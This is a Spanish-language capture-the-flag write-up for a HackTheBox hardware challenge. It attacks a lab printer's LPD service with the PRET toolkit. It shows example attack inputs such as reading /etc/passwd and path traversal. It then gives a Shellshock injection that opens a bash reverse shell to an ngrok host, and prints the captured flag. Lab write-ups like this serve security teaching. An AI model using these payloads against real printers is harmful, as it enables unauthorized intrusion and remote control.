<- HARDWARE

Line

4 minutos de lectura

Se nos dice que alguien ha encontrado un protocolo LPD en una impresora. Solo tenemos una dirección IP y un puerto. Podemos usar PRET, que es una herramienta para interactuar con impresoras usando PostScript, PJL o PCL (lenguajes de impresoras). Funciona con Python versión 2, así que vamos a usar un contenedor de Docker:

$ docker run --rm -v "${PWD}":/home/rocky -it python:2.7 bash
root@48962fe51979:/# pip2.7 install colorama
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. A future version of pip will drop support for Python 2.7. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support
Collecting colorama
  Downloading colorama-0.4.6-py2.py3-none-any.whl (25 kB)
Installing collected packages: colorama
Successfully installed colorama-0.4.6
WARNING: You are using pip version 20.0.2; however, version 20.3.4 is available.
You should consider upgrading via the '/usr/local/bin/python -m pip install --upgrade pip' command.
root@7f2628f0526a:/# python2.7 /home/rocky/PRET/pret.py 104.248.160.130:30971 pcl
      ________________
    _/_______________/|
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.40
  |===        |----| ||    by Jens Mueller <jens.a.mueller@rub.de>
  |           |   ô| ||
  |___________|   ô| ||
  | ||/.´---.||    | ||      「 pentesting tool that made
  |-||/_____\||-.  | |´         dumpster diving obsolete‥ 」
  |_||=L==H==||_|__|/

     (ASCII art by
     Jan Foerster)

Connection to 104.248.160.130:30971 established
Device:   Unknown printer

Welcome to the pret shell. Type help or ? to list commands.
104.248.160.130:30971:/> ?

Available commands (type help <topic>):
=======================================
cat    debug   discover  exit  get   info  loop  open   put       site
close  delete  edit      free  help  load  ls    print  selftest  timeout

104.248.160.130:30971:/> ls
Receiving data failed (watchdog timeout)
This is a virtual pclfs. Use 'put' to upload files.

Vemos que nos hemos conectado con éxito a una impresora, pero esta interfaz no funciona (tampoco PostScript ni PJL).

Probando LPD

Dado que el reto habla sobre LPD, usemos lpdtest.py de PRET:

root@7f2628f0526a:/# ls /home/rocky/PRET/
DISCLAIMER.md  capabilities.py	 codebook.pyc  discovery.py   fuzzer.py   helper.pyc  mibs	     overlays  pjl.py	      postscript.pyc  printer.pyc
LICENSE.md     capabilities.pyc  console.py    discovery.pyc  fuzzer.pyc  img	      operators.py   pcl.py    pjl.pyc	      pret.py	      testpages
README.md      codebook.py	 db	       fonts	      helper.py   lpd	      operators.pyc  pcl.pyc   postscript.py  printer.py
root@7f2628f0526a:/# ls /home/rocky/PRET/lpd
README	lpdprint.py  lpdtest.py  printerLpdList.txt
root@7f2628f0526a:/# python3 /home/rocky/PRET/lpd/lpdtest.py
usage: lpdtest [-h] [--port PORT] hostname {get,put,rm,in,mail,brute} argument
lpdtest: error: the following arguments are required: hostname, mode, argument
root@7f2628f0526a:/# python3 /home/rocky/PRET/lpd/lpdtest.py -h
usage: lpdtest [-h] [--port PORT] hostname {get,put,rm,in,mail,brute} argument

Line Printer Daemon Protocol (RFC 1179) Test.

positional arguments:
  hostname              printer ip address or hostname
  {get,put,rm,in,mail,brute}
                        select lpd proto security test
  argument              specific to test, see examples

optional arguments:
  -h, --help            show this help message and exit
  --port PORT           printer port

example usage:
  lpdtest printer get /etc/passwd
  lpdtest printer put ../../etc/passwd
  lpdtest printer rm /some/file/on/printer
  lpdtest printer in '() {:;}; ping -c1 1.2.3.4'
  lpdtest printer mail lpdtest@mailhost.local
  lpdtest printer brute ./printerLdpList.txt --port 1234

Ataque Shellshock

Arriba vemos una de pista para usar un ataque de Shellshock. Por alguna razón, solo funciona con Python versión 3.

Vayamos directamente al grano y obtengamos una reverse shell en la impresora. Para eso, podemos usar ngrok:

$ ngrok tcp 4444
ngrok
Send your ngrok traffic logs to Datadog: https://ngrok.com/blog-post/datadog-logs

Session Status                online
Account                       Rocky (Plan: Free)
Version                       3.3.1
Region                        United States (us)
Latency                       100ms
Web Interface                 http://127.0.0.1:4040
Forwarding                    tcp://8.tcp.ngrok.io:11859 -> localhost:4444

Connections                   ttl     opn     rt1     rt5     p50     p90
                              1       0       0.00    0.00    304.18  304.18

$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444

En este punto, podemos usar este payload para obtener una reverse shell:

root@7f2628f0526a:/# python3 /home/rocky/PRET/lpd/lpdtest.py --port 30971 104.248.160.130 in '() {:;}; bash -c "bash -i >& /dev/tcp/8.tcp.ngrok.io/11859 0>&1"'
[in] Trying to send user input '() {:;}; bash -c "bash -i >& /dev/tcp/8.tcp.ngrok.io/11859 0>&1"'

Y estamos dentro:

$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1:52223.
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
lp@hwline-532274-9b44bbc6f-l7ds8:/$

Flag

Ahora buscamos la flag:

lp@hwline-532274-9b44bbc6f-l7ds8:/$ find / -name flag\* 2>/dev/null
find / -name flag\* 2>/dev/null
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/opt/flag.txt
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
lp@hwline-532274-9b44bbc6f-l7ds8:/$ cat /opt/flag.txt
cat /opt/flag.txt
HTB{l00t1ng_lpd_1s_w00t_39gc4!!}